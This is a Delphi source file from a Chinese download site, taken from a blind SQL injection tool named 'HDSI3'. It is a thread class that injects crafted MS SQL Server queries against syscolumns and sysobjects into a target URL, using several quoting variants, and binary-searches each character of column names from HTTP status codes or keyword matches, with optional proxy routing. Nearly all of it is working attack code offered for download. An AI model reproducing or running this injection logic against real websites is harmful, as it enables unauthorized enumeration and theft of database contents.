⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 threadcolumn.pas

📁 sql inject HDSI3--delphi.rar
💻 PAS
字号:
unit ThreadColumn;

interface
uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms,idhttp;

  type
  TThreadColumn = class(TThread)
  function ColumnA(max_num:integer;iTop:integer;iPos:integer;str_url:string;sContent:string;btype:integer;tableName:string):boolean;
  function ColumnB(min_num,max_num:integer;iTop,iPos:integer;URL:string;sContent:string;tableName:string):integer;
  Function UnicodeToStr(intUnicode:integer):string;
  function GetURL(URL: string): integer;

  private
  published

  procedure Execute; override;
  public
    tableName     :string;
    FURL          : String; //URL
    min_num       : integer;   //最小值
    max_num       : integer;  //最大值
    iTop          : integer;  //表的位置
    iPos          : integer;  //字符的位置
    complete      : boolean;  //是否下载完毕
    sContent      : string;   //页面内容
    sResult       :string;
  end;

implementation
uses
main_unit,CJdatabase_unit,define_unit;
//******************************************************************************
procedure TThreadColumn.Execute;
var
    ss:string;
    i:integer;
    count:integer;
    label start;

begin
    //sleep(1000);
    count:=0;
    complete:=false;
    start:
    i:=ColumnB(min_num,max_num,iTop,iPos,FURL,sContent,tableName);
    if i=0 then
      begin
        count:=count+1;
        if count<=5 then
        begin
          //sleep(1000);
          goto start;
        end;
        {if  application.Messagebox(pchar('暴力猜解字符时出现异常,是否重猜?'),pchar('警告'),MB_YESNO) = IDYES then
          goto start; }
      end;
    ss:=UnicodeToStr(i);
    sResult:=ss;
    complete:=true;
    Form_main.Edit1.Text:=inttostr(strtoint(Form_main.Edit1.Text)+1);
end;
//*****************************************************************************
//暴力破解用的函数
function TThreadColumn.ColumnA(max_num:integer;iTop:integer;iPos:integer;str_url:string;sContent:string;btype:integer;tableName:string):boolean;
var
    str_ext:string;
    URL:string;
    content:string;
    icode:integer;
    label start;
begin
  //*****************
  result:=false;
  {case btype of
  1:  begin
        str_ext:=' and (select top 1 len(name) from ( select top '+inttostr(iTop)+' A.id,A.name from '
        +define_unit.FDbName+'..syscolumns A,'+define_unit.FDbName+'..sysobjects B where A.id=B.id and B.name='''+tableName+''' order by A.name desc) T order by name asc )<'+inttostr(max_num);
        case CJdatabase_unit.Inject_methord of
            0 :
              begin
                Application.MessageBox(pchar('未知的注入方式,不能进行'),pchar('警告'),mb_ok);
                exit;
              end;
            1 :
              URL:=str_ext;
            2 :
              URL:=''' '+str_ext+' and ''''=''';
            3 :
              URL:='%'' '+str_ext+' and ''%''=''';
        end;
      end; }
 // 2:  begin
        str_ext:=' and (select top 1 unicode(substring(name,'+inttostr(iPos)+',1)) from ( select top '+inttostr(iTop)+' A.id,A.name from '
        +define_unit.FDbName+'..syscolumns A,'+define_unit.FDbName+'..sysobjects B where A.id=B.id and B.name='''+tableName+''' order by A.name desc) T order by name asc )<'+inttostr(max_num);
        case CJdatabase_unit.Inject_methord of
            0 :
              begin
                //Application.MessageBox(pchar('未知的注入方式,不能进行'),pchar('警告'),mb_ok);
                exit;
              end;
            1 :
              URL:=str_ext;
            2 :
              URL:=''' '+str_ext+' and ''''=''';
            3 :
              URL:='%'' '+str_ext+' and ''%''=''';

        end;
  //    END;

  //end;
  //*****************
  URL:=define_unit.SQLINJECTIONUrlToHex(URL,0);

  if Form_main.CheckBox_keyword.Checked=true then
  begin
      content:=define_unit.GetURLContent(str_url+URL);
      if pos(trim(Form_main.Edit_keyword.Text),content)>0 then
          result:=true
      else
          result:=false;
  end
  else
      begin
        start:
        icode:=GetURL(str_url+URL);
        if icode=200 then
          result:=true
        else
            begin
              if icode= 500 then
                  result:=false
              else
                  begin
                    //sleep(1000);
                    goto start;
                  end;
            end;
      end;
end;
//*****************************************************************************
//暴力破解用的函数
function TThreadColumn.ColumnB(min_num,max_num:integer;iTop,iPos:integer;URL:string;sContent:string;tableName:string):integer;
var
  i:integer;
  middle:integer;

  //min_num,max_num:integer;
begin
     result:=0;
     //判断是否是unicode
     if ColumnA(128,iTop,iPos,URL,sContent,2,tableName) then  //如果小于max,就继续缩小max的范围
     begin
          min_num:=32;
          max_num:=128
     end else
     begin
          min_num:=128;
          max_num:=65535;
     end;
     for i:=min_num to max_num do
     begin
        //sleep(1000);
        //停止扫描
        if Form_main.stop_column=true then
        begin
          result:=1;
          exit;
        end;
        if max_num-min_num<=2 then
            break;

        middle:=((max_num-min_num) div 2)+min_num;
        if ColumnA(middle,iTop,iPos,URL,sContent,2,tableName) then  //如果小于max,就继续缩小max的范围
        begin
          max_num:=middle;

        end
          else     //如果不小于max,就把min的范围扩大
            begin
              min_num:=middle;
            end;

     end;

     for i:=min_num+1 to max_num do
     begin
      //停止扫描
      if Form_main.stop_column=true then
      begin
        result:=1;
        exit;
      end;
      if ColumnA(i,iTop,iPos,URL,sContent,2,tableName) then
      begin
	      result:=i-1;
	      break;
      end;
     end ;
end;
//*****************************************************************************
function TThreadColumn.GetURL(URL: string): integer;
   var
  IdHTTP: TIDHttp;
  ss: string;

begin

  try
    try
      IdHTTP := TIDHttp.Create(nil);
      if Form_main.proxy_check then
      begin
        IdHTTP.ProxyParams.ProxyServer:=form_main.str_Host;
        IdHTTP.ProxyParams.ProxyPort:=strtoint(form_main.str_Port);
        IdHTTP.ProxyParams.ProxyUsername:=form_main.str_Zh;
        IdHTTP.ProxyParams.ProxyPassword:=form_main.str_Mm;
      end;
      IdHTTP.HandleRedirects := true; //必须支持重定向否则可能出错
      IdHTTP.ReadTimeout := TimeOut; //超过这个时间则不再访问
      //ss := IdHTTP.Get(URL);
      IdHTTP.Head(URL);
      except
     //on E: Exception do
      // Application.MessageBox(pchar('出现异常,操作终止!'+#10#13+E.Message),'提示',mb_ok+mb_iconinformation);
    end;
  finally
  Form_main.ProgressBar.Position:=0;
  Form_main.ProgressBar.Position:=30;
  Form_main.ProgressBar.Position:=60;
  Form_main.ProgressBar.Position:=100;
  result:=IdHTTP.ResponseCode;
  IdHTTP.Free;
  end;
  
end;

Function TThreadColumn.UnicodeToStr(intUnicode:integer):string;
var
wStr: WideString;
begin
try
  SetLength(wStr, 1);
  wStr[1]:=WideChar(intUnicode);
  Result:=WidecharToString(pWideChar(wStr));
  except
  Result:='';
 end;
end;
end.

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -